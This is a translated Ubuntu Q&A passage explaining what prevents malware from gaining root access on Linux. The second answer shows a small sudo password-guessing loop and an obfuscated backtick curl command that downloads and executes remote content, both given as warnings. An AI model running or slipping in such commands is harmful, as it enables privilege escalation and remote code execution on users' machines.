问题描述
我知道,如果有任何恶意软件进入Linux系统,它最多将获得user-level特权并破坏特定用户可访问范围内的所有内容,即用户自己的文件。
但是究竟是什么阻止了恶意软件获得root-level访问权限呢?不能以某种方式从内部破解密码吗?
最佳思路
这是一个复杂的问题。从复杂的框架(例如AppArmor)到谦虚的内核变量(例如mmap_min_addr
),Ubuntu系统中存在许多不同的安全层。您可以在混合中添加一些内核功能,例如内存随机化。您可以在Ubuntu Wiki上找到它们的列表以及快速解释。
另一个重要因素是更新既快速又容易-因此大多数计算机将更新为最新的安全修复程序。
据我所知,获得对计算机本地访问权限的攻击者可以通过三种方式扩展内核特权:
-
破解密码。但这确实很困难,使用没有已知缺陷的算法将密码加密存储。破解它需要很长时间。
-
内核中的错误。但是内核的所有安全功能都会受到干扰。
-
欺骗用户放弃密码,即社会工程学。只需显示伪造的密码对话框或使用其他技巧即可。这是最简单的方法。
第三点是目前最弱的漏洞。
次佳思路
无法破解根密码本身,因为默认情况下Ubuntu禁用了根用户。但是,如果您的用户可以通过sudo成为root用户,并且密码容易猜到/brute-force,则说明您的系统不安全。尝试测试密码的示例脚本:
#!/bin/sh
for pass in password 123 ubuntu pass; do
echo $pass|sudo -S evil_command
done
添加不受信任的存储库将允许安装该存储库中的程序。即使您未明确安装sudo apt-get install [app-from-repo]
之类的应用程序,该存储库仍可以通过使Ubuntu相信该存储库包含某个程序的较新版本来影响其他程序。
更新过程以root用户身份运行,否则文件无法写入/usr/bin
或/etc
。安装触发器也以root用户身份运行,并且可以任意运行,并且可能有害命令。现在,不用担心,需要手动操作来更新程序,Ubuntu存储库是安全的。永远无法完全信任Windows之类的Closed-source软件,因为您无法检查恶意代码的来源,但是如果需要,您可以查看Ubuntu应用程序的来源(不适用于sun-java6
或Flash等专有程序)。
正如哈维尔·里维拉(Javier Rivera)所提到的那样,内核错误可能导致任意代码执行,但是错误软件也可能很危险,尤其是错误的setsuid
根二进制文件(将在文件所有者,根目录下运行的二进制文件)和其他以root身份运行的错误程序。
如果您不注意自己在做什么,则可以在系统上创建安全漏洞。例如,在不完全了解cronjobs的概念的情况下,您已经在/etc/cron.daily
中添加了一个cronjob,该cronjob在您的主文件夹中运行程序(例如/bin/sh /home/your-username/myscript.sh
。如果您可以删除myscript.sh文件,则可以将其删除,则可能会被利用将恶意代码放入myscript.sh
中,该代码将以root用户身份运行(特权升级)。
为了安全起见,请多加注意!如果您不知道命令的作用,请不要运行来自不受信任来源的命令。如果有人说用back-ticks运行`curl 3221233674`
,请不要。 3221233674是另一种写入192.0.32.10
(example.com的IP)的方法。因此,它等于:
`curl http://example.com/`
那些back-ticks导致输出作为shell命令执行。用简单的英语,“下载页面http://example.com/并尝试执行下载的页面”。
最初,您不会在给定的命令中看到任何恶意内容。但是现在,您知道它也可能被滥用。
始终检查从不受信任的来源(例如Internet)获得的命令/脚本。